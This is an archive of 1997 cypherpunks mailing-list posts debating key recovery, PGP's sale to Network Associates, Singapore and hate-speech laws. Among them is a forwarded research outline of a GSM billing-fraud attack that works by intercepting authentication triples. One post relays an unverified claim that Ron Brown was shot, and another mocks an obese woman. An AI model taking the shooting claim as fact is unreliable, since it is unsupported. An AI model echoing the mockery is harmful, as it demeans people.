essentially starts over associating reputation capital with the new key.
This could be weird (but the topic of an interesting tale) if the revoked
key was actually disclosed to an adversary and actively used in forgeries.

As mentioned above, I haven't used the produt itself. But the underlying
concept may represent a practical subset of classic e-mail security.

Rick.
smith@securecomputing.com                Secure Computing Corporation
"Internet Cryptography" at http://www.visi.com/crypto/ and bookstores






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 6 Dec 1997 06:17:15 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199712052222.QAA25026@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




Forwarded message:

> Date: Thu, 4 Dec 1997 20:59:08 +0100 (MET)
> From: nobody@REPLAY.COM (Anonymous)
> Subject: Re: words have value, for good or ill

> The speech I am talking about is the kind of things which Tim May has
> been writing.  To keep things simple, let's consider the statement
> "McVeigh did the right thing."  It is not a contract.  It is not a
> threat.  It is not copyrighted.

Actualy it is copyrighted the moment he hits the keystrokes and they appear
in the buffer.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 6 Dec 1997 09:15:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Singapore & Freedom
Message-ID: <3.0.32.19971205170800.006c3470@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



SingMonger wrote:

>Don't forget the other good points, no guns or bullets, color
>copiers are (were?) restricted, all media controlled by the
>government (even Time magazine was banned), mandatory savings
>program (CPF), National Service, and the government attitude of
>those that are not with us are against us.  Also, don't forget
>that the Singaporean government has brought the Big Brother
>concept to reality.
..............................................................

Sounds like the kind of place suitable for people who don't have a Mind of
Their Own, nor a personal vision of, or mission in, life (besides
maintaining an active DNA pool). 
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Sat, 6 Dec 1997 09:52:08 +0800
To: Peter Herngaard <frissell@panix.com>
Subject: Hate speech in Germany...
In-Reply-To: <3.0.2.32.19971205134306.007187b0@panix.com>
Message-ID: <3.0.3.32.19971205172926.03498058@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 02:09 AM 12/6/97 +0100, Peter Herngaard wrote:
>Reply to Duncan Frissell:
>
>If the German people desired  to abolish the Radikalenerlass they 
could  
>do so simply by changing their goverment precisely as U.S. citizens 
could 
>abolish use of capital punishment against minors.
>Is there any difference?

There is a difference, in that calling for the abolition of laws 
banning 'hate speech' can easily be labelled as 'hate speech' in 
themselves. Further, since it is never popular speech which needs 
government protection, the odds are good that the majority of those 
who would call for the abolition of such laws are those who wished to 
engage in such speech -- and thus, by calling attention to 
themselves, they could risk jail.

The reason such laws do not exist in the US is NOT because 'the 
people' do not want them -- I daresay a popular vote would install 
them in a heartbeat -- but because the government is NOT a democracy, 
and the 'will of the people' runs up against the Bill of Rights, 
which serves to protect people from the government, and from each 
other.

While I'm sure there are at least some ideaological free speech 
absolutists in Germany, I'm betting they're a smaller group than they 
are even in the US -- Germany has no real history of free speech, 
compared to the US, and Europe in general has a history of placing 
the collective good ahead of individual liberty. While a US 'leftist' 
will, for the most part, cede the right of even his enemies to speak 
(this is changing lately, but it used to be true, and there's still a 
few old lefties about), my exposure to German and other European 
leftists indicates that they approve strongly of laws banning 
'racist' or 'hateful' speech -- while the American left has its roots 
in the anarchists of the 19th century, the European left has grown 
from the totalitarians of the 20th century.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIiqdjKf8mIpTvjWEQI24ACfX33Yo1UFlM5CyHW/lQqqzjbBUvgAoObC
W9x8sXsD1LHjgH7vk2n76OcH
=3Apc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 6 Dec 1997 09:40:12 +0800
To: cypherpunks@Algebra.COM
Subject: PGP, Network Associates, KRAP, and Dead Rebels
In-Reply-To: <199712052053.PAA14508@enslaved.student.umd.edu>
Message-ID: <v03102801b0ae490d7ff9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:01 PM -0700 12/5/97, Adam Back wrote:

>Wesley Griffin <wgriffin@enslaved.student.umd.edu> writes:
>> > By "companies like Network Associates", do you mean "companies who are
>> > members of the Key Recovery Alliance" (http://www.kra.org)? If so,
>>here are
>> > the "companies like Network Associates", in that regard:  [Note RSA is a
>> > Charter Member]
>>
>> This statement is seriously confusing Key Recovery and Key Escrow.
>> They are NOT the same thing.  Everybody knows what Key *Escrow* is
>> and that it sucks.
>
>You need to understand Newspeak to understand any crypto documents
>written by the government, or government toadies.
>
>To them the key recovery, key escrow are just different PR terms to
>try to con people into going along with goverment backdoors in crypto
>software.

Yep. KRAP is just a variant of GAK. The talk about "court orders" shows the
equivalence.

There are subtle differences between various GAK schemes, ranging from the
extreme of encrypting all communications and writings to a government key
(an obvious non-starter) to the complicated LEAF stuff of Clipper to the
more recent key escrow and KRAP schemes. Including that being pushed by
PGP, Inc., er, "Network Associates."

When the Key Recovery Alliance speaks of "legal court orders" for gaining
access to KRAPped communications, one assumes this means the official
government of Myanmar (Burma) will be using "legal court orders" to gain
access to rebel communications.

Next time Phil Z. speaks about the great usefullness of PGP in supporting
freedom fighters in Myanmar, I hope he remembers to mention that Network
Associates is committed to giving governments access to such
communications. Provided the right legal orders are given, of course.

It might be a nice gesture for Phil to fly to Rangoon to attend the
funerals of the freedom fighters rounded up after their KRAP-compliant
communications are decrypted  by the Ministry of Social Harmony (with the
right court orders, of course...wouldn't want KRAP to let unauthorized
decryptions occur, would we?).

The whole _point_ of encryption is to stop this kind of snooping. This is
why we provided PGP to the freedom fighters working to expel the Zionists
into the sea (though the Amerikan government calls these freedom fighters
"terrorists," of course). And why White Aryan Resistance now uses PGP.

(The point of crypto is that you can't pick who gets to use it and who
doesn't.)

With its 5.5 version, and especially with its absorbtion into Big
Brotherish Network Associates, PGP has taken a major step toward
irrelevance, and even perniciousness.

This won't endear myself to Phil and my other colleagues at PGP, Inc. But I
have to call it as I see it. Would they want me to pull my punches? The
Phil Zimmermann I met several years ago surely would've spoken out against
such things. In fact, he did. As recently as a year ago, in articles
condemning ViaCrypt for its key recovery/escrow system.

And, ironically, some of the things he blasted RSADSI for, such as charging
for its crypto products, and not releasing a toolkit usable by all (RSAREF
was for hobbyist uses only, much like the freeware versions of PGP), have
close parallels with PGP, Inc.'s current views about charging for products,
development toolkits, and so on. And, worse, PGP is "building in Big
Brother," and when Network Associates finishes absorbing them....

Oh well. Earlier versions of PGP, and monkeywrenched versions of later
versions of PGP, may be our best hope.

(I can't say this will do a lot for sales of commericial versions, as we
urge folks to widely deploy older, non-KRAP versions.)

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sat, 6 Dec 1997 05:45:12 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <1c5bE7t2VZDcs9ZD4AjFLQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> Something that I have found irritating about the posts by
> non-persistent identities is that it isn't possible to support a
> meaningful discussion as previous statements can always be repudiated,
> or maybe even weren't made by the particular poster.  I compared this
> to sound bites.

And Tim do I know how you hate sound bites. Look at
it this way: no identity is persistent, signed or not.
All just varying degrees.

Maybe all we *ever* had was sound bites, but the
closer proximities and smaller networks of the past
made them seem more dynamic than they really were.

     






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 6 Dec 1997 07:24:57 +0800
To: Wesley Griffin <wgriffin@enslaved.student.umd.edu>
Subject: Re: SynData/Schneier Attack Network Associates
Message-ID: <1.5.4.32.19971205231852.006aec98@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Wes, below's the full article and source. You can reach Bruce via
http://www.counterpane.com.

 4 December 1997, PRNewswire:

 Right to Privacy for Sale in Cyberspace; SynData Technologies Inc. Speaks Out 
 Against Key Recovery

 Cedar Grove, N.J. -- SynData Technologies Inc., a provider of encryption
software 
 solutions, released a statement today condemning Network Associates Inc., the 
 market leader for virus protection software products, for supporting the
government's 
 key recovery program. Network Associates Inc., formerly known as McAfee
Associates Inc.,
 recently purchased Pretty Good Privacy (PGP) for $36 million, an encryption
 software provider. PGP had historically been opposed to key recovery. 

 "It is time to seriously consider the threat that Network Associates poses
to the
 individual's constitutional right to privacy," said David Romanoff, CEO of
SynData
 Technologies Inc. "While Network Associates claims to protect privacy in
 cyberspace, they have actually traded our right to privacy for a shot at
increased
 revenues overseas by supporting the key recovery program. The slippery slope
 has begun right under our noses. It's time to challenge both the government and
 companies who support the government's key recovery program before it is too
 late." 

 The United States Commerce Department does not allow US encryption software
 makers to export strong encryption without a key recovery program. Companies
 who do not believe in the government's key recovery program are forced to
 develop both export and domestic versions of their software, each with a
different
 strength. 

 "The government's key recovery program is a complete violation of the
 individual's right to privacy and, in fact, compromises of the system are
already
 taking place. This shows that key escrow is an untenable policy," said Bruce
 Schneier, one of the world's leading authorities on encryption and author
of the
 book "Applied Cryptography". "SynData is paving the way for other software
 developers by taking a stand in opposition to the government and companies like
 Network Associates." 

 SynData Technologies does not believe in key recovery or other government
 involvement in the regulation of the encryption software industry. The company
 also believes that the current export curbs on encryption put the entire
industry at
 a competitive disadvantage. Additionally, these policies undermine the
security of
 the global marketplace and put the individual's right to privacy at risk. 

 SynData Technologies Inc., based in Cedar Grove, New Jersey, unveiled their
 flagship encryption software product, SynCrypt, in September of this year.
 SynCrypt is available directly from SynData Technologies, 800-499-1469, and
 through downloads from the company's Website: www.syncrypt.com. 

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 6 Dec 1997 01:55:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Censorial leftists (Was: Interesting article)
Message-ID: <199712051725.SAA02954@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>The cited examples were of restaurants and other businesses in town which
>had rules against employees wearing nose rings, tongue studs, spiky hair,
>mohawks, lip piercings, tatoos, scarification, and such things.  And
>"weight discrimination," as in the also-famous case of a Santa Cruz health
>food store turning down the employment application of a "person of
>poundage." (The grossly obese Toni Cassista, who sued the health food store
>citing weight discrimination...I believe she eventually settled out of
>court.)

Tim, that's only because the city didn't want to remove the ceiling of the
courtroom and hire a crane to lower her into the courtroom through the roof.
And they were busy trying to file charges against her for something else
entirely. See, she had chemicals within her body in a "quantity not
warranted by any legitimate purpose" and "which, when mixed, could be used
to produce nerve gas." They figured if she ever ate some beans those beans
might act as an ignition charge and...well, no more Santa Cruz.

It could have been worse (for her) though. They could have charged her with
"possession of a gas discharge device with intent to break wind."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 6 Dec 1997 08:07:26 +0800
To: berezina@qed.net (Paul Spirito)
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3.0.2.32.19971205152745.036de494@panix.com>
Message-ID: <v03007802b0ae422cccb9@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



At 22:18 +0000 12/5/97, Paul Spirito wrote:
>But once again, articles like Declan's "hey, Singapore may be 'Disneyland
>with the death penalty' but the trains sure run on time" piss me off.

You should read the complete article (I provided the URL, after all) before
complaining that I'm somehow not critical enough of Singapore.

-Declan

PS: I value economic freedom quite highly. Besides, it's part of other
freedoms. Can I publish a political newspaper as easily if my business is
heavily regulated by EEOC and other bureaucrats, and I'm taxed heavily by
still others? What about the economic regulations (like those on banks)
that are used to intrude on our civil liberties? Final point: democracy
isn't all that wonderful by itself. Singapore is a democracy, no? Forget
fetishizing "democracy," already, and give me freedom!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 6 Dec 1997 11:03:38 +0800
To: Declan McCullagh <berezina@qed.net (Paul Spirito)
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <348d673c.36720307@mail.qed.net>
Message-ID: <v03102801b0ae604e6b1e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:50 PM -0700 12/5/97, Declan McCullagh wrote:
>At 22:18 +0000 12/5/97, Paul Spirito wrote:
>>But once again, articles like Declan's "hey, Singapore may be 'Disneyland
>>with the death penalty' but the trains sure run on time" piss me off.
>
>You should read the complete article (I provided the URL, after all) before
>complaining that I'm somehow not critical enough of Singapore.

And, though most of you already surely know this, the phrase "Disneyland
with the death penalty" is not Declan's. Not that Declan is claiming
authorship, but the record still ought to be clarified. This nice turn of
phrase appeared several years ago in an article of William Gibson's (or
maybe Bruce Sterling's, but I 97% certain it was Gibson's) in "Wired."

However, our own(Cypherpunk list) Sandy Sandfort coined it, when he was
working with Gibson on the article, from all that I have heard.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 6 Dec 1997 09:07:18 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199712060112.TAA25835@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From INFO-RUSS-request@smarty.ece.jhu.edu Fri Dec  5 18:35:23 1997
From: INFO-RUSS-request@smarty.ece.jhu.edu
Date: Fri, 5 Dec 97 14:33:28 -0500
Message-Id: <9712051933.AA02486@smarty.ece.jhu.edu>
To: info-russ@smarty.ece.jhu.edu

>From INFO-RUSS-request@smarty.ece.jhu.edu Fri Dec 5 14:04:00 EST 1997
Errors-To: INFO-RUSS-request@smarty.ece.jhu.edu
Sender: INFO-RUSS-request@smarty.ece.jhu.edu
Precedence: bulk
Date: Sat, Dec 5 97 14:15:59 EST
From: info-russ@smarty.ece.jhu.edu
To: info-russ@smarty.ece.jhu.edu
Subject: INFO-RUSS: Chem-to schelkal, v chem byl spryatan infrakrasnyi ob'ektiv...

---------------------------------------------------------------------
This is INFO-RUSS broadcast (1200+ subscribers). Home page, information, 
and archives: http://psi.ece.jhu.edu/~kaplan/IRUSS/inforuss.html
To post, subscribe, or unsubscribe mail to info-russ@smarty.ece.jhu.edu
========================================================================
Folks, this is to follow up our previous story on arrested "spy" in Rostov, 
Russia.  Looks like the old Sov-Russ-paranoia about spies is back. BTW, 
note a correction to the previous info: Mr. Bliss is not New Zealander, 
he is our fellow American who works for a New Zealand company.
                 Alex Kaplan, info-russ owner/coordinator
                              sasha@super.ece.jhu.edu
                              http://psi.ece.jhu.edu/~kaplan
========================================================================

Reuters, Friday December 5 9:06 AM EST

American Charged In Rare Russian Spy Case

By Adam Tanner

MOSCOW (Reuters) - A 29-year-old U.S. telephone technician was charged with
espionage against Russia Friday in what officials say is the first such case
involving an American since the end of the Cold War.

A spokesman for the Russian Federal Security Service (FSB) said Richard
Bliss, who was arrested in the southern city of Rostov-on-Don Nov. 25, had
been formally charged with spying.

The text of the criminal charges was to be read to Bliss in English
translation as he does not speak Russian, Russian television reported. But
the exact wording of the charges was not made public as it was a state
security matter, the report said.

Bliss had been in Rostov for two months working to install a wireless
telephone system when he was detained. He worked for San Diego-based
telecommunications company Qualcomm.

The U.S. Embassy has said Bliss was not a spy and Qualcomm also denied he
was involved in espionage, saying he was performing routine tests to help
install a wireless telephone system.

U.S. officials earlier said they were continuing to press for his release
and expected Vice-President Al Gore to telephone Russian Prime Minister
Viktor Chernomyrdin later in the day to appeal for his release.

"At the highest levels of government exchanges of information are flowing
back and forth quite rapidly," said Qualcomm's head of government relations,
Bill Bold.

The FSB earlier said Bliss had carried out long-distance topographical
surveys with what it called illegally-imported satellite receivers and
obtained secret information about unspecified "restricted" buildings in the
Rostov area.

Dan Pegg, a Qualcomm senior vice-president, said Bliss was using global
positioning system (GPS) equipment to measure the strength of radio signals
from a central communications transmitter.

Asked if Bliss could have worked as a spy without Qualcomm's knowledge, Pegg
said: "They say never say never, but I'd say absolutely not."

A resident of San Diego, Bliss had been in Russia about two months when he
was detained, Pegg said. A high-school graduate who never went to college,
Bliss worked for several communications companies before Qualcomm hired him
six months ago to help install telephone systems worldwide. REUTERS@
----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sat, 6 Dec 1997 11:38:38 +0800
To: cypherpunks@cyberpass.net
Subject: Ron Brown Died From A .45 In The Head
Message-ID: <3.0.3.32.19971205191303.006b36a0@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I heard an interview with Chris Ruddy (of Vincent Foster fame) on KSFO 560
AM in San Francisco.  In the interview, Chris disclosed that an Army
pathologist, LtCol Steve Cogswell, was one of the doctors who processed the
bodies from the plane crash which supposedly killed fromer Commerce
secretary Ron Brown.  LtCol Cogswell took an X-ray of Ron Brown's skull,
and found a circular hole .45 inches in diameter in the skull, as well as
some metal fragments inside the cranial cavity, consistent with a gunshot
wound.  The original X-rays were destroyed, and no autopsy was performed to
determine the cause of death; but a photographer took some pictures of the
x-rays while they were on display, and these pictures were NOT destroyed. 
LtCol Cogswell provided copies of the photos of the x-rays to Ruddy, and
they were printed in a newspaper out east somewhere (I missed a few minutes
of the interview).  Today, I heard that LtCol Cogswell has been placed
under a gag order and his his house was searched by MP's.  Something is
rotten in Denmark...
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNIjCvcJF0kXqpw3MEQIaWwCglmjV6vIPR8w/lnwdgxRRdbzskVoAn0eE
cQ3mGJYckbJ06DXqF1dmNozJ
=VbVp
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stewart_William_C@bns.att.com
Date: Sat, 6 Dec 1997 11:50:38 +0800
To: cypherpunks@toad.com
Subject: FW: GSM hack -- operator flunks the challenge
Message-ID: <H000029c016e55d2@MHS>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded from RISKS
______________________

Date: Wed, 26 Nov 1997 17:36:36 +0000 
From: Ross Anderson <Ross.Anderson@cl.cam.ac.uk> 
Subject: GSM hack -- operator flunks the challenge

On Friday 13th September 1996, I read in comp.risks that:
> MobilCom, a subsidiary of German TeleKom (since 100 years monopolist
on 
> telephone communication in Germany, with its monopoly ending in 1998) 
> publicly offers 100,000 DM to a telephone hacker who is able to
communicate 
> at the expense of the (national) number 0171-3289966. The related
chipcard 
> is said to be safely stored in lawyer`s office. In an attempt to paint
this 
> dubious offer somewhat "politically correct", the successful hacker
will 
> have to donate his earnings to a social institution of his(her)
choice.
This caught our attention - Cambridge University, being a registered 
charity, surely qualifies as a `social institution', and 100,000 DM
would 
buy us a state-of-the-art triple-wavelength laser microprobe workstation
for 
chipcard breaking. So we had a look at GSM and found a way to hack it.
We 
worked out what equipment we'd need and where we could borrow it,
assembled 
the team, checked that the attack would work in principle, and then
started 
trying to find the right person in Deutsche Telekom to speak to. We
needed 
to know the IMSI (international mobile subscriber identification) and
get 
written confirmation of the challenge; otherwise the attack might have
been 
interpreted as an offence under Britain's Wireless Telegraphy Act.
After some chasing around, unanswered e-mails and so on, we went to a
mobile 
phone fraud conference in June and made contacts there which suggested
some 
names, leading to further unanswered correspondence, and finally a faxed

reply. Here is a translation of the original German, online at 
<<http://www.cl.cam.ac.uk/ftp/users/rja14/roesner.gif>http://www.cl.cam.
ac.
uk/ftp/users/rja14/roesner.gif>:
Dear Dr Anderson
Many thanks for your fax of the 6th October 1997. Please 
excuse the late reply to your fax. The matter that you mentioned did not

originate from T-Mobil but from one of our service providers, the firm 
Mobilcom in Schleswig. We understand that the offer has since also been 
withdrawn by them. Yours etc.
How does our attack work? Well, when a GSM phone is turned on, its
identity 
(the IMSI) is relayed to the authentication centre of the company that 
issued it, and this centre sends back to the base station a set of five 
`triples'. Each triple consists of a random challenge, a response that
the 
handset must return to authenticate itself, and a content key for
encrypting 
subsequent traffic between the mobile and the base station. The base
station 
then relays the random challenge to the handset. The SIMcard which 
personalises the handset holds a secret issued by the authentication
centre, 
and it computes both the response and the content key from the random 
challenge using this secret.
The vulnerability we planned to exploit is that, although there is
provision 
in the standard for encrypting the traffic between the base station and
the 
authentication centre, in practice operators leave the transmissions in 
clear. This is supposedly `for simplicity' (but see below).
To break GSM, we transmit the target IMSI from a handset and intercept
the 
five triples as they come back on the microwave link to the base 
station. Now we can give the correct response to the authentication 
challenge, and encrypt the traffic with the correct key. We can do this 
online with a smartcard emulator hooked up through a PC to a microwave 
protocol analyser; in a less sophisticated implementation, you could
load 
the handset offline with the responses and content keys corresponding to

challenges 2 through 5 which will be used on the next four occasions
that 
you call.
The necessary microwave test set costs about $20,000 to buy, but could
be 
home built: it's more than an undergraduate project but much less than a

PhD, and any 23cm radio ham should be able to put one together. We would

have borrowed this, and reckoned on at most 3 person months for
SIM-handset 
protocol implementation, system integration, debugging and operational 
testing.
Given such an apparatus, you can charge calls to essentially any GSM
phone 
whose IMSI you know. IMSIs can be harvested by eavesdropping, both
passive 
and active; `IMSI-catchers' are commercially available.
The fix for our attack is to turn on traffic encryption between the GSM
base 
stations. But that will not be politically acceptable, since the spooks 
listen to GSM traffic by monitoring the microwave links between base 
stations: these links contain not only clear keys but also clear
telephony 
traffic. Such monitoring was reported in the UK press last year, and now
the 
necessary equipment is advertised openly on the net. See for example 
<http://www.gcomtech.com/>.
The RISK for intelligence agencies? Making systems like GSM give
government 
access to keys can have horrendous side effects (especially where this 
access is via channels that aren't properly documented and evaluated).
These 
side effects can get you into serious conflict with powerful commercial 
interests.
The RISKS for phone companies? Firstly, letting spook agencies bully you

into a bad security design with the assurance that it will only
compromise 
your customers' privacy, has as a likely side-effect the compromise of
your 
signalling and thus your revenue. (David Wagner, Bruce Schneier and John

Kelsey made this point for the US cellular system: see 
<http://www.counterpane.com/cmea.html>.)
Secondly, most phone companies have no crypto expertise. Their security 
managers are largely ex-policemen or accountants, and so are unable to 
evaluate the security claims made by equipment manufacturers and 
intelligence agency representatives.
Thirdly, by restricting parts of the security specification to people
who 
signed a non-disclosure agreement, the GSM consortium deprived itself of
the 
benefit of open scrutiny by the research community. It is this scrutiny 
that has led to protocols such as SSL and SET having their holes found
and 
fixed. However, the global deployment of GSM ensured that many people
would 
be cleared to know the design, most of which can be got anyway by
observing 
traffic or by reverse engineering unprotected equipment. So public
scrutiny 
was inevitable - but only after billions of dollars' worth of equipment
had 
been deployed and the system could not changed. So the GSM 
security-by-obscurity strategy gave them the worst of all possible 
worlds. The consumer electronics industry should take note.
The specific RISK for Deutsche Telekom: responding to cynicism about GSM

security claims by putting up a reckless challenge and thus motivating
an 
attack.
The RISK for GSM users: that crooks running a call-sell operation will
book 
a very expensive phone call on your account. An established modus
operandi 
is to set up a conference call which their clients and counterparties
join 
in succession. As the bill isn't forwarded to the service provider until
the 
phone goes on-hook, you can end up with a five-figure bill for a call
that 
lasted several days and involved hundreds of overseas telephone 
numbers. Some GSM operators (such as Vodafone) limit this exposure by 
terminating all calls after six hours; but your IMSI can be used on a 
network that doesn't do this.
And of course, as with `phantom withdrawals' from cash machines, the use
of 
cryptography will `prove' that you're liable for the bill.
Ross Anderson, Cambridge University Computer Laboratory 
<www.cl.cam.ac.uk/users/rja14>
Acknowledgement: our research students Stefan Hild, Abida Khattak,
Markus 
Kuhn and Frank Stajano contributed in various ways to researching and 
planning this attack. An academic paper on the subject will appear in
due 
course.





+==============================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 6 Dec 1997 03:49:46 +0800
To: cypherpunks@cyberpass.net
Subject: another mixmaster source branch
Message-ID: <199712051943.TAA04959@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anyone with a export controlled web site in the US like to give home
to Rich Salz's mixmaster re-write?

Adam

------- Start of forwarded message -------
Date: Fri, 5 Dec 1997 13:28:32 -0500 (EST)
From: Rich Salz <rsalz@opengroup.org>
To: coderpunks@toad.com
Subject: Take my mixmaster source
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-coderpunks@toad.com
Precedence: bulk

A long time ago, Lance graciously gave me a copy of his mixmaster
source.  I ended up doing a line-by-line rewrite, splitting it
into different executables, FSF configure'ing it, etc.

I'm not going to have time to finish it.  There is one bug that
I know of, an off-by-one error in decoding multi-hop messages.

If you would like fame and fortune and a somewhat interesting
debugging problem, and you're inside the US or Canada, please
send me email.  I would like to see this code get released, and
used.

Thanks.
------- End of forwarded message -------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 6 Dec 1997 11:03:32 +0800
To: Wesley Griffin <wgriffin@enslaved.student.umd.edu>
Subject: Re: SynData/Schneier Attack Network Associates
In-Reply-To: <199712052053.PAA14508@enslaved.student.umd.edu>
Message-ID: <199712060253.VAA17377@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712052053.PAA14508@enslaved.student.umd.edu>, on 12/05/97 
   at 03:53 PM, Wesley Griffin <wgriffin@enslaved.student.umd.edu> said:

>> At 11:42 AM 12/5/97 -0500, you wrote:
>> > "The government's key recovery program is a complete violation of the
>> > individual's right to privacy and, in fact, compromises of the system are 
>> > already taking place. This shows that key escrow is an untenable policy," 
>> > said Bruce Schneier, one of the world's leading authorities on encryption 
>> > and author of the book "Applied Cryptography". "SynData is paving the
>> > way for other software developers by taking a stand in opposition to the 
>> > government and companies like Network Associates." 
>> 
>> 
>> By "companies like Network Associates", do you mean "companies who are
>> members of the Key Recovery Alliance" (http://www.kra.org)? If so, here are
>> the "companies like Network Associates", in that regard:  [Note RSA is a
>> Charter Member]

>This statement is seriously confusing Key Recovery and Key Escrow.  They
>are  NOT the same thing.  Everybody knows what Key *Escrow* is and that
>it sucks.   Key Recovery is *very* different in that are no databases
>kept of private keys. The website you mentioned (http://www.kra.org)
>contains some very good info on  how Key Recovery works.  I would like to
>see the source of Schneier's quote  also, because I can't believe he
>could get the two confused.

There is no confusion here. KRAP supports GAK plain and simple. They want
the government to be able to get into everyone's nickers and are actively
working on making this possible (of course with the promise of nice
government contracts and easing of export restrictions).

Key Recovery= Key Escrow = GAK it's all the same thing. Unauthorized 3rd
parties gaining access to your data without your consent and more than
likely without you knowledge.

I think that most on this list would agree that this is a BadThing(TM).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a-sha1
Charset: cp850
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iQCVAwUBNIi95I9Co1n+aLhhAQLXogQAnbwCtBzlLC3/NvsHI0YDziJ1a6pyYWp1
QF1j4G5Oy50QZv36E+BagETsGOH2cNw6p0LTCinc//TKuY9TXS94EWftIvROvJHp
x3eeWZMeqtzKn0k/8ABdT6cCXGJ6itoT6DjiDUsU5gZQ/uRCxlEsrxzFgExIkP2t
npwvKpneqLE=
=QqK1
